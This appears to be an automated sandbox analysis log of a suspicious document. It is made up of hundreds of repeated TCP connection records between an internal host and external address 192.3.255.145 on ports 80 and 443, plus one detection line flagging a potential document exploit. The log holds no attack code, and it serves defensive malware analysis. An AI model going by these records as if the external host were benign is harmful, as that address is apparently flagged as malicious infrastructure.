Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.255.145:80
Source: global traffic TCP traffic: 192.3.255.145:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.255.145:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.255.145:80
Source: global traffic TCP traffic: 192.3.255.145:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.3.255.145:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 192.3.255.145:80
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.3.255.145:443 -> 192.168.2.22:49162
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
Source: global traffic TCP traffic: 192.168.2.22:49162 -> 192.3.255.145:443
